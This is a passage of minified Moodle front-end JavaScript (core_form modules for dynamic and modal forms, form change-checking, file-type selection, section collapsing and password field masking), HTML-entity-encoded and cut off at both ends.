&quot;).concat(newFunctionName,&quot;.&quot;)),newFunction(...arguments)};window.M.core_formchangechecker={init:getLoggedLegacyFallback(&quot;init&quot;,&quot;watchFormById&quot;,watchFormById),reset_form_dirty_state:getLoggedLegacyFallback(&quot;reset_form_dirty_state&quot;,&quot;resetFormDirtyState&quot;,resetAllFormDirtyStates),set_form_changed:getLoggedLegacyFallback(&quot;set_form_changed&quot;,&quot;markFormAsDirty&quot;,markAllFormsAsDirty),set_form_submitted:getLoggedLegacyFallback(&quot;set_form_submitted&quot;,&quot;markFormSubmitted&quot;,markAllFormsSubmitted)}},watchFormById=formId=&gt;{watchForm(document.getElementById(formId))};_exports.watchFormById=watchFormById;_exports.resetFormDirtyStateById=formId=&gt;{resetFormDirtyState(document.getElementById(formId))};_exports.markFormAsDirtyById=formId=&gt;{markFormAsDirty(document.getElementById(formId))},startWatching()}));
define(&quot;core_form/dynamicform&quot;,[&quot;exports&quot;,&quot;core_form/changechecker&quot;,&quot;core_form/events&quot;,&quot;core/ajax&quot;,&quot;core/fragment&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/templates&quot;,&quot;core/str&quot;],(function(_exports,FormChangeChecker,FormEvents,_ajax,_fragment,_notification,_pending,_templates,_str){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,FormChangeChecker=_interopRequireWildcard(FormChangeChecker),FormEvents=_interopRequireWildcard(FormEvents),_ajax=_interopRequireDefault(_ajax),_fragment=_interopRequireDefault(_fragment),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_templates=_interopRequireDefault(_templates);return _exports.default=class{constructor(container,formClass){var obj,key,value;value={FORM_SUBMITTED:&quot;core_form_dynamicform_formsubmitted&quot;,FORM_CANCELLED:&quot;core_form_dynamicform_formcancelled&quot;,CLIENT_VALIDATION_ERROR:&quot;core_form_dynamicform_clientvalidationerror&quot;,SERVER_VALIDATION_ERROR:&quot;core_form_dynamicform_validationerror&quot;,ERROR:&quot;core_form_dynamicform_error&quot;,NOSUBMIT_BUTTON_PRESSED:&quot;core_form_dynamicform_nosubmitbutton&quot;,SUBMIT_BUTTON_PRESSED:&quot;core_form_dynamicform_submitbutton&quot;,CANCEL_BUTTON_PRESSED:&quot;core_form_dynamicform_cancelbutton&quot;},(key=&quot;events&quot;)in(obj=this)?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value,this.formClass=formClass,this.container=container,(0,_str.get_strings)([{key:&quot;collapseall&quot;,component:&quot;moodle&quot;},{key:&quot;expandall&quot;,component:&quot;moodle&quot;}]).catch(_notification.default.exception),this.container.addEventListener(&quot;click&quot;,(e=&gt;{if(e.target.matches(&quot;form input[type=submit][data-cancel]&quot;)){e.preventDefault();this.trigger(this.events.CANCEL_BUTTON_PRESSED,e.target).defaultPrevented||this.processCancelButton()}else if(e.target.matches(&#039;form input[type=submit][data-no-submit=&quot;1&quot;]&#039;)){e.preventDefault();this.trigger(this.events.NOSUBMIT_BUTTON_PRESSED,e.target).defaultPrevented||this.processNoSubmitButton(e.target)}})),this.container.addEventListener(&quot;submit&quot;,(e=&gt;{if(e.target.matches(&quot;form&quot;)){e.preventDefault();this.trigger(this.events.SUBMIT_BUTTON_PRESSED).defaultPrevented||this.submitFormAjax()}}))}load(){let args=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:null;const formData=new URLSearchParams(Object.entries(args||{})),pendingPromise=new _pending.default(&quot;core_form/dynamicform:load&quot;);return this.getBody(formData.toString()).then((resp=&gt;this.updateForm(resp))).then(pendingPromise.resolve)}trigger(eventName){const e=new CustomEvent(eventName,{detail:arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:null,cancelable:!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2]});return this.container.dispatchEvent(e),e}addEventListener(){this.container.addEventListener(...arguments)}getBody(formDataString){return _ajax.default.call([{methodname:&quot;core_form_dynamic_form&quot;,args:{formdata:formDataString,form:this.formClass}}])[0].then((response=&gt;({html:response.html,js:_fragment.default.processCollectedJavascript(response.javascript)})))}onSubmitSuccess(response){this.trigger(this.events.FORM_SUBMITTED,response).defaultPrevented||(this.container.innerHTML=&quot;&quot;)}onSubmitError(exception){this.trigger(this.events.ERROR,exception).defaultPrevented||_notification.default.exception(exception)}processNoSubmitButton(button){const pendingPromise=new _pending.default(&quot;core_form/dynamicform:nosubmit&quot;),form=this.getFormNode(),formData=new URLSearchParams([...new FormData(form).entries()]);formData.append(button.getAttribute(&quot;name&quot;),button.getAttribute(&quot;value&quot;)),FormEvents.notifyFormSubmittedByJavascript(form,!0),this.disableButtons(),this.getBody(formData.toString()).then(this.updateForm).then(pendingPromise.resolve).catch((exception=&gt;this.onSubmitError(exception)))}getFormNode(){return this.container.querySelector(&quot;form&quot;)}notifyResetFormChanges(){FormEvents.notifyFormSubmittedByJavascript(this.getFormNode(),!0),FormChangeChecker.resetFormDirtyState(this.getFormNode())}processCancelButton(){this.notifyResetFormChanges();this.trigger(this.events.FORM_CANCELLED).defaultPrevented||(this.container.innerHTML=&quot;&quot;)}updateForm(_ref){let{html:html,js:js}=_ref;return _templates.default.replaceNodeContents(this.container,html,js)}validateElements(){FormEvents.notifyFormSubmittedByJavascript(this.getFormNode());const invalid=[...this.container.querySelectorAll(&#039;[aria-invalid=&quot;true&quot;], .error&#039;)];return!invalid.length||(invalid[0].focus(),!1)}disableButtons(){this.container.querySelectorAll(&#039;form input[type=&quot;submit&quot;]&#039;).forEach((el=&gt;el.setAttribute(&quot;disabled&quot;,!0)))}enableButtons(){this.container.querySelectorAll(&#039;form input[type=&quot;submit&quot;]&#039;).forEach((el=&gt;el.removeAttribute(&quot;disabled&quot;)))}async submitFormAjax(){if(!await this.validateElements())return void this.trigger(this.events.CLIENT_VALIDATION_ERROR,null,!1);this.disableButtons();const form=this.container.querySelector(&quot;form&quot;),formData=new URLSearchParams([...new FormData(form).entries()]);_ajax.default.call([{methodname:&quot;core_form_dynamic_form&quot;,args:{formdata:formData.toString(),form:this.formClass}}])[0].then((response=&gt;{if(response.submitted){const data=JSON.parse(response.data);this.enableButtons(),this.notifyResetFormChanges(),this.onSubmitSuccess(data)}else this.updateForm({html:response.html,js:_fragment.default.processCollectedJavascript(response.javascript)}),this.enableButtons(),this.trigger(this.events.SERVER_VALIDATION_ERROR,null,!1);return null})).catch((exception=&gt;this.onSubmitError(exception)))}},_exports.default}));
define(&quot;core_form/encryptedpassword&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.EncryptedPassword=void 0;
/**
   * Encrypted password functionality.
   *
   * @module core_form/encryptedpassword
   * @copyright 2019 The Open University
   * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const EncryptedPassword=function(elementId){const wrapper=document.querySelector(&#039;div[data-encryptedpasswordid=&quot;&#039;+elementId+&#039;&quot;]&#039;);this.spanOrLink=wrapper.querySelector(&quot;span, a&quot;),this.input=wrapper.querySelector(&quot;input&quot;),this.editButtonOrLink=wrapper.querySelector(&quot;button[data-editbutton], a&quot;),this.cancelButton=wrapper.querySelector(&quot;button[data-cancelbutton]&quot;);var editHandler=e=&gt;{e.stopImmediatePropagation(),e.preventDefault(),this.startEditing(!0)};this.editButtonOrLink.addEventListener(&quot;click&quot;,editHandler),&quot;A&quot;===this.editButtonOrLink.nodeName&amp;&amp;wrapper.parentElement.previousElementSibling.querySelector(&quot;label&quot;).addEventListener(&quot;click&quot;,editHandler),this.cancelButton.addEventListener(&quot;click&quot;,(e=&gt;{e.stopImmediatePropagation(),e.preventDefault(),this.cancelEditing()})),&quot;y&quot;===wrapper.dataset.novalue&amp;&amp;(this.startEditing(!1),this.cancelButton.style.display=&quot;none&quot;)};_exports.EncryptedPassword=EncryptedPassword,EncryptedPassword.prototype.startEditing=function(moveFocus){this.input.style.display=&quot;inline&quot;,this.input.disabled=!1,this.spanOrLink.style.display=&quot;none&quot;,this.editButtonOrLink.style.display=&quot;none&quot;,this.cancelButton.style.display=&quot;inline&quot;;const id=this.editButtonOrLink.id;this.editButtonOrLink.removeAttribute(&quot;id&quot;),this.input.id=id,moveFocus&amp;&amp;this.input.focus()},EncryptedPassword.prototype.cancelEditing=function(){this.input.style.display=&quot;none&quot;,this.input.value=&quot;&quot;,this.input.disabled=!0,this.spanOrLink.style.display=&quot;inline&quot;,this.editButtonOrLink.style.display=&quot;inline&quot;,this.cancelButton.style.display=&quot;none&quot;;const id=this.input.id;this.input.removeAttribute(&quot;id&quot;),this.editButtonOrLink.id=id}}));
/**
 * This module allows to enhance the form elements MoodleQuickForm_filetypes
 *
 * @module     core_form/filetypes
 * @copyright  2017 David Mudrak &lt;david@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.3
 */
define(&quot;core_form/filetypes&quot;,[&quot;jquery&quot;,&quot;core/log&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/tree&quot;],(function($,Log,Str,ModalFactory,ModalEvents,Ajax,Templates,Tree){var FileTypes=function(elementId,elementLabel,onlyTypes,allowAll){this.elementId=elementId,this.elementLabel=elementLabel,this.onlyTypes=onlyTypes,this.allowAll=allowAll,this.inputField=$(&quot;#&quot;+elementId),this.wrapperBrowserTrigger=$(&#039;[data-filetypesbrowser=&quot;&#039;+elementId+&#039;&quot;]&#039;),this.wrapperDescriptions=$(&#039;[data-filetypesdescriptions=&quot;&#039;+elementId+&#039;&quot;]&#039;),this.wrapperBrowserTrigger.length&amp;&amp;(this.inputField.length&amp;&amp;this.wrapperDescriptions.length?this.prepareBrowserTrigger().then(function(){return this.prepareBrowserModal()}.bind(this)).then(function(){return this.prepareBrowserTree()}.bind(this)):Log.error(&quot;core_form/filetypes: Unexpected DOM structure, unable to enhance filetypes field &quot;+elementId))};return FileTypes.prototype.prepareBrowserTrigger=function(){return Templates.render(&quot;core_form/filetypes-trigger&quot;,{}).then(function(html){this.wrapperBrowserTrigger.html(html),this.browserTrigger=this.wrapperBrowserTrigger.find(&#039;[data-filetypeswidget=&quot;browsertrigger&quot;]&#039;)}.bind(this))},FileTypes.prototype.prepareBrowserModal=function(){return ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,title:this.elementLabel}).then(function(modal){this.browserModal=modal}.bind(this)).then(function(){this.browserModal.getRoot().on(ModalEvents.hidden,function(){this.browserTrigger.focus()}.bind(this)),this.browserModal.getRoot().on(ModalEvents.save,function(){this.saveBrowserModal()}.bind(this))}.bind(this))},FileTypes.prototype.prepareBrowserTree=function(){return this.browserTrigger.on(&quot;click&quot;,function(e){if(e.preventDefault(),!this.inputField.is(&quot;[disabled]&quot;)){var bodyContent=this.loadBrowserModalBody();bodyContent.then(function(){this.browserTree=new Tree(this.browserModal.getBody()),this.browserTree.handleKeyDown=function(item,e){e.keyCode==this.browserTree.keys.enter||e.keyCode==this.browserTree.keys.space?(e.preventDefault(),e.stopPropagation(),this.toggleCheckbox(item.attr(&quot;data-filetypesbrowserkey&quot;))):Tree.prototype.handleKeyDown.call(this.browserTree,item,e)}.bind(this),this.allowAll&amp;&amp;(this.hideOrShowItemsDependingOnAllowAll(this.browserModal.getRoot().find(&#039;input[type=&quot;checkbox&quot;][data-filetypesbrowserkey=&quot;*&quot;]&#039;).first()),this.browserModal.getRoot().on(&quot;change&quot;,&#039;input[type=&quot;checkbox&quot;][data-filetypesbrowserkey=&quot;*&quot;]&#039;,function(e){this.hideOrShowItemsDependingOnAllowAll($(e.currentTarget))}.bind(this))),this.browserModal.getRoot().on(&quot;change&quot;,&#039;input[type=&quot;checkbox&quot;][data-filetypesbrowserkey]&#039;,function(e){var checkbox=$(e.currentTarget),key=checkbox.attr(&quot;data-filetypesbrowserkey&quot;);this.browserModal.getRoot().find(&#039;input[type=&quot;checkbox&quot;][data-filetypesbrowserkey=&quot;&#039;+key+&#039;&quot;]&#039;).prop(&quot;checked&quot;,checkbox.prop(&quot;checked&quot;))}.bind(this))}.bind(this)).then(function(){this.browserModal.show()}.bind(this)),this.browserModal.setBody(bodyContent)}}.bind(this)),$.when()},FileTypes.prototype.loadBrowserModalBody=function(){var args={onlytypes:this.onlyTypes.join(),allowall:this.allowAll,current:this.inputField.val()};return Ajax.call([{methodname:&quot;core_form_get_filetypes_browser_data&quot;,args:args}])[0].then(function(browserData){return Templates.render(&quot;core_form/filetypes-browser&quot;,{elementid:this.elementId,groups:browserData.groups})}.bind(this))},FileTypes.prototype.toggleCheckbox=function(key){var checkbox=this.browserModal.getRoot().find(&#039;input[type=&quot;checkbox&quot;][data-filetypesbrowserkey=&quot;&#039;+key+&#039;&quot;]&#039;).first();checkbox.prop(&quot;checked&quot;,!checkbox.prop(&quot;checked&quot;))},FileTypes.prototype.saveBrowserModal=function(){if(this.allowAll){var allcheckbox=this.browserModal.getRoot().find(&#039;input[type=&quot;checkbox&quot;][data-filetypesbrowserkey=&quot;*&quot;]&#039;);if(allcheckbox.length&amp;&amp;allcheckbox.prop(&quot;checked&quot;))return this.inputField.val(&quot;*&quot;),void this.updateDescriptions([&quot;*&quot;])}var newvalue=[];this.browserModal.getRoot().find(&#039;input[type=&quot;checkbox&quot;]&#039;).each((function(){var checkbox=$(this),key=checkbox.attr(&quot;data-filetypesbrowserkey&quot;);checkbox.prop(&quot;checked&quot;)&amp;&amp;newvalue.push(key)})),newvalue=newvalue.filter((function(x,i,a){return a.indexOf(x)==i})),this.inputField.val(newvalue.join(&quot; &quot;)),this.updateDescriptions(newvalue)},FileTypes.prototype.updateDescriptions=function(keys){var descriptions=[];keys.forEach(function(key){descriptions.push({description:this.browserModal.getRoot().find(&#039;[data-filetypesname=&quot;&#039;+key+&#039;&quot;]&#039;).first().text().trim(),extensions:this.browserModal.getRoot().find(&#039;[data-filetypesextensions=&quot;&#039;+key+&#039;&quot;]&#039;).first().text().trim()})}.bind(this));var templatedata={hasdescriptions:descriptions.length&gt;0,descriptions:descriptions};return Templates.render(&quot;core_form/filetypes-descriptions&quot;,templatedata).then(function(html){this.wrapperDescriptions.html(html)}.bind(this))},FileTypes.prototype.hideOrShowItemsDependingOnAllowAll=function(allcheckbox){var others=this.browserModal.getRoot().find(&#039;[role=&quot;treeitem&quot;][data-filetypesbrowserkey!=&quot;*&quot;]&#039;);allcheckbox.prop(&quot;checked&quot;)?others.hide():others.show()},{init:function(elementId,elementLabel,onlyTypes,allowAll){new FileTypes(elementId,elementLabel,onlyTypes,allowAll)}}}));
define(&quot;core_form/collapsesections&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/pending&quot;],(function(_exports,_jquery,_pending){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Collapse or expand all form sections on clicking the expand all / collapse al link.
   *
   * @module core_form/collapsesections
   * @copyright 2021 Bas Brands
   * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since 4.0
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_pending=_interopRequireDefault(_pending);const SELECTORS_FORMHEADER=&quot;.fheader&quot;,SELECTORS_FORMCONTAINER=&quot;.fcontainer&quot;,CLASSES_SHOW=&quot;show&quot;,CLASSES_COLLAPSED=&quot;collapsed&quot;;_exports.init=collapsesections=&gt;{const pendingPromise=new _pending.default(&quot;core_form/collapsesections&quot;),collapsemenu=document.querySelector(collapsesections);collapsemenu.addEventListener(&quot;keydown&quot;,(e=&gt;{&quot;Enter&quot;!==e.key&amp;&amp;&quot; &quot;!==e.key||(e.preventDefault(),collapsemenu.click())})),collapsemenu.addEventListener(&quot;click&quot;,(()=&gt;{let action=&quot;hide&quot;;collapsemenu.classList.contains(CLASSES_COLLAPSED)&amp;&amp;(action=&quot;show&quot;),document.querySelectorAll(SELECTORS_FORMCONTAINER).forEach((collapsecontainer=&gt;{(0,_jquery.default)(collapsecontainer).collapse(action)}))}));const collapseElementIds=[...(0,_jquery.default)(SELECTORS_FORMHEADER)].map(((element,index)=&gt;(element.id=element.id||&quot;collapseElement-&quot;.concat(index),element.id)));collapsemenu.setAttribute(&quot;aria-controls&quot;,collapseElementIds.join(&quot; &quot;)),(0,_jquery.default)(SELECTORS_FORMCONTAINER).on(&quot;hidden.bs.collapse&quot;,(()=&gt;{let allcollapsed=!0;(0,_jquery.default)(SELECTORS_FORMCONTAINER).each(((_,collapsecontainer)=&gt;{collapsecontainer.classList.contains(CLASSES_SHOW)&amp;&amp;(allcollapsed=!1)})),allcollapsed&amp;&amp;(collapsemenu.classList.add(CLASSES_COLLAPSED),collapsemenu.setAttribute(&quot;aria-expanded&quot;,!1))})),(0,_jquery.default)(SELECTORS_FORMCONTAINER).on(&quot;shown.bs.collapse&quot;,(()=&gt;{var allexpanded=!0;(0,_jquery.default)(SELECTORS_FORMCONTAINER).each(((_,collapsecontainer)=&gt;{collapsecontainer.classList.contains(CLASSES_SHOW)||(allexpanded=!1)})),allexpanded&amp;&amp;(collapsemenu.classList.remove(CLASSES_COLLAPSED),collapsemenu.setAttribute(&quot;aria-expanded&quot;,!0))})),pendingPromise.resolve()}}));
define(&quot;core_form/modalform&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core_form/changechecker&quot;,&quot;core_form/events&quot;,&quot;core/fragment&quot;,&quot;core/modal_events&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;],(function(_exports,_ajax,FormChangeChecker,FormEvents,_fragment,_modal_events,_modal_factory,_notification,_pending){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_ajax=_interopRequireDefault(_ajax),FormChangeChecker=_interopRequireWildcard(FormChangeChecker),FormEvents=_interopRequireWildcard(FormEvents),_fragment=_interopRequireDefault(_fragment),_modal_events=_interopRequireDefault(_modal_events),_modal_factory=_interopRequireDefault(_modal_factory),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending);return _exports.default=class{constructor(config){var obj,key,value;value={FORM_SUBMITTED:&quot;core_form_modalform_formsubmitted&quot;,FORM_CANCELLED:&quot;core_form_modalform_formcancelled&quot;,CLIENT_VALIDATION_ERROR:&quot;core_form_modalform_clientvalidationerror&quot;,SERVER_VALIDATION_ERROR:&quot;core_form_modalform_validationerror&quot;,ERROR:&quot;core_form_modalform_error&quot;,NOSUBMIT_BUTTON_PRESSED:&quot;core_form_modalform_nosubmitbutton&quot;,SUBMIT_BUTTON_PRESSED:&quot;core_form_modalform_submitbutton&quot;,CANCEL_BUTTON_PRESSED:&quot;core_form_modalform_cancelbutton&quot;,LOADED:&quot;core_form_modalform_loaded&quot;},(key=&quot;events&quot;)in(obj=this)?Object.defineProperty(obj,key,{value:value,enumerable:!0,configurable:!0,writable:!0}):obj[key]=value,this.modal=null,this.config=config,this.config.modalConfig={removeOnClose:!0,type:_modal_factory.default.types.SAVE_CANCEL,large:!0,...this.config.modalConfig||{}},this.config.args=this.config.args||{},this.futureListeners=[]}show(){const pendingPromise=new _pending.default(&quot;core_form/modalform:init&quot;);return _modal_factory.default.create(this.config.modalConfig).then((modal=&gt;{this.modal=modal;const formParams=new URLSearchParams(Object.entries(this.config.args||{})),bodyContent=this.getBody(formParams.toString());return this.modal.setBodyContent(bodyContent),bodyContent.catch(_notification.default.exception),this.modal.getRoot().on(_modal_events.default.hidden,(()=&gt;{this.notifyResetFormChanges(),this.modal.destroy(),this.config.returnFocus&amp;&amp;this.config.returnFocus.focus()})),this.modal.getModal().addClass(&quot;modal-form-dialogue&quot;),this.modal.getRoot().on(&quot;click&quot;,&quot;form input[type=submit][data-no-submit]&quot;,(e=&gt;{e.preventDefault();this.trigger(this.events.NOSUBMIT_BUTTON_PRESSED,e.target).defaultPrevented||this.processNoSubmitButton(e.target)})),this.modal.getRoot().on(&quot;submit&quot;,&quot;form&quot;,(e=&gt;{e.preventDefault();this.trigger(this.events.SUBMIT_BUTTON_PRESSED).defaultPrevented||this.submitFormAjax()})),void 0!==this.config.saveButtonText&amp;&amp;void 0!==this.modal.setSaveButtonText&amp;&amp;this.modal.setSaveButtonText(this.config.saveButtonText),void 0!==this.config.saveButtonClasses&amp;&amp;this.setSaveButtonClasses(this.config.saveButtonClasses),this.modal.getRoot().on(_modal_events.default.save,(e=&gt;{e.preventDefault(),this.modal.getRoot().find(&quot;form&quot;).submit()})),this.modal.getRoot().on(_modal_events.default.cancel,(e=&gt;{this.trigger(this.events.CANCEL_BUTTON_PRESSED).defaultPrevented&amp;&amp;e.preventDefault()})),this.futureListeners.forEach((args=&gt;this.modal.getRoot()[0].addEventListener(...args))),this.futureListeners=[],this.trigger(this.events.LOADED,null,!1),this.modal.show()})).then(pendingPromise.resolve)}trigger(eventName){const e=new CustomEvent(eventName,{detail:arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:null,cancelable:!(arguments.length&gt;2&amp;&amp;void 0!==arguments[2])||arguments[2]});return this.modal.getRoot()[0].dispatchEvent(e),e}addEventListener(){for(var _len=arguments.length,args=new Array(_len),_key=0;_key&lt;_len;_key++)args[_key]=arguments[_key];this.modal?this.modal.getRoot()[0].addEventListener(...args):this.futureListeners.push(args)}getBody(formDataString){const params={formdata:formDataString,form:this.config.formClass},pendingPromise=new _pending.default(&quot;core_form/modalform:form_body&quot;);return _ajax.default.call([{methodname:&quot;core_form_dynamic_form&quot;,args:params}])[0].then((response=&gt;(pendingPromise.resolve(),{html:response.html,js:_fragment.default.processCollectedJavascript(response.javascript)})))}onSubmitError(exception){this.trigger(this.events.ERROR,exception).defaultPrevented||_notification.default.exception(exception)}notifyResetFormChanges(){const form=this.getFormNode();FormEvents.notifyFormSubmittedByJavascript(this.getFormNode(),!0),form&amp;&amp;FormChangeChecker.resetFormDirtyState(this.getFormNode())}getFormNode(){return this.modal.getRoot().find(&quot;form&quot;)[0]}processNoSubmitButton(button){const form=this.getFormNode();if(!form)return;FormEvents.notifyFormSubmittedByJavascript(form,!0);let formData=this.modal.getRoot().find(&quot;form&quot;).serialize();formData=formData+&quot;&amp;&quot;+encodeURIComponent(button.getAttribute(&quot;name&quot;))+&quot;=&quot;+encodeURIComponent(button.getAttribute(&quot;value&quot;));const bodyContent=this.getBody(formData);this.modal.setBodyContent(bodyContent),bodyContent.catch(_notification.default.exception)}validateElements(){FormEvents.notifyFormSubmittedByJavascript(this.getFormNode());const invalid=this.modal.getRoot().find(&#039;[aria-invalid=&quot;true&quot;], .error&#039;);return!invalid.length||(invalid.first().focus(),!1)}disableButtons(){this.modal.getFooter().find(&quot;[data-action]&quot;).attr(&quot;disabled&quot;,!0)}enableButtons(){this.modal.getFooter().find(&quot;[data-action]&quot;).removeAttr(&quot;disabled&quot;)}async submitFormAjax(){if(!this.validateElements())return void this.trigger(this.events.CLIENT_VALIDATION_ERROR,null,!1);this.disableButtons();const formData=this.modal.getRoot().find(&quot;form&quot;).serialize();_ajax.default.call([{methodname:&quot;core_form_dynamic_form&quot;,args:{formdata:formData,form:this.config.formClass}}])[0].then((response=&gt;{if(response.submitted){const data=JSON.parse(response.data);this.notifyResetFormChanges();this.trigger(this.events.FORM_SUBMITTED,data).defaultPrevented||this.modal.hide()}else{const promise=new Promise((resolve=&gt;resolve({html:response.html,js:_fragment.default.processCollectedJavascript(response.javascript)})));this.modal.setBodyContent(promise),this.enableButtons(),this.trigger(this.events.SERVER_VALIDATION_ERROR)}return null})).catch((exception=&gt;this.onSubmitError(exception)))}setSaveButtonClasses(value){const button=this.modal.getFooter().find(&quot;[data-action=&#039;save&#039;]&quot;);if(!button)throw new Error(&quot;Unable to find the &#039;save&#039; button&quot;);button.removeClass().addClass(value)}},_exports.default}));
/**
 * Password Unmask functionality.
 *
 * @module     core_form/passwordunmask
 * @copyright  2016 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.2
 */
define(&quot;core_form/passwordunmask&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;],(function($,Template){var PasswordUnmask=function(elementid){this.wrapperSelector=&#039;[data-passwordunmask=&quot;wrapper&quot;][data-passwordunmaskid=&quot;&#039;+elementid+&#039;&quot;]&#039;,this.wrapper=$(this.wrapperSelector),this.editorSpace=this.wrapper.find(&#039;[data-passwordunmask=&quot;editor&quot;]&#039;),this.editLink=this.wrapper.find(&#039;a[data-passwordunmask=&quot;edit&quot;]&#039;),this.editInstructions=this.wrapper.find(&#039;[data-passwordunmask=&quot;instructions&quot;]&#039;),this.displayValue=this.wrapper.find(&#039;[data-passwordunmask=&quot;displayvalue&quot;]&#039;),this.inputFieldLabel=$(&#039;label[for=&quot;&#039;+elementid+&#039;&quot;]&#039;),this.inputField=this.editorSpace.find(document.getElementById(elementid)),this.inputField.attr(&quot;type&quot;,&quot;hidden&quot;),this.inputField.removeClass(&quot;hiddenifjs&quot;),this.editInstructions.attr(&quot;id&quot;)||this.editInstructions.attr(&quot;id&quot;,elementid+&quot;_instructions&quot;),this.editInstructions.hide(),this.setDisplayValue(),this.addListeners()};return PasswordUnmask.prototype.addListeners=function(){return this.wrapper.on(&quot;click keypress&quot;,&#039;[data-passwordunmask=&quot;edit&quot;]&#039;,$.proxy((function(e){&quot;keypress&quot;===e.type&amp;&amp;13!==e.keyCode||(e.stopImmediatePropagation(),e.preventDefault(),&quot;hidden&quot;!==this.inputField.attr(&quot;type&quot;)?&quot;click&quot;===e.type||$(e.relatedTarget).is(&quot;:input&quot;)?this.turnEditingOff(!1):this.turnEditingOff(!0):this.turnEditingOn())}),this)),this.wrapper.on(&quot;click keypress&quot;,&#039;[data-passwordunmask=&quot;unmask&quot;]&#039;,$.proxy((function(e){&quot;keypress&quot;===e.type&amp;&amp;13!==e.keyCode||(e.stopImmediatePropagation(),e.preventDefault(),this.wrapper.data(&quot;unmasked&quot;,!this.wrapper.data(&quot;unmasked&quot;)),this.setDisplayValue())}),this)),this.wrapper.on(&quot;keydown&quot;,&quot;input&quot;,$.proxy((function(e){&quot;keydown&quot;===e.type&amp;&amp;13!==e.keyCode||(e.stopImmediatePropagation(),e.preventDefault(),this.turnEditingOff(!0))}),this)),this.inputFieldLabel.on(&quot;click&quot;,$.proxy((function(e){e.preventDefault(),this.turnEditingOn()}),this)),this},PasswordUnmask.prototype.checkFocusOut=function(e){this.isEditing()&amp;&amp;window.setTimeout($.proxy((function(){var relatedTarget=e.relatedTarget||document.activeElement;this.wrapper.has($(relatedTarget)).length||this.turnEditingOff(!$(relatedTarget).is(&quot;:input,a&quot;))}),this),100)},PasswordUnmask.prototype.passwordVisible=function(){return!!this.wrapper.data(&quot;unmasked&quot;)},PasswordUnmask.prototype.isEditing=function(){return&quot;hidden&quot;!==this.inputField.attr(&quot;type&quot;)},PasswordUnmask.prototype.turnEditingOn=function(){var value=this.getDisplayValue();return 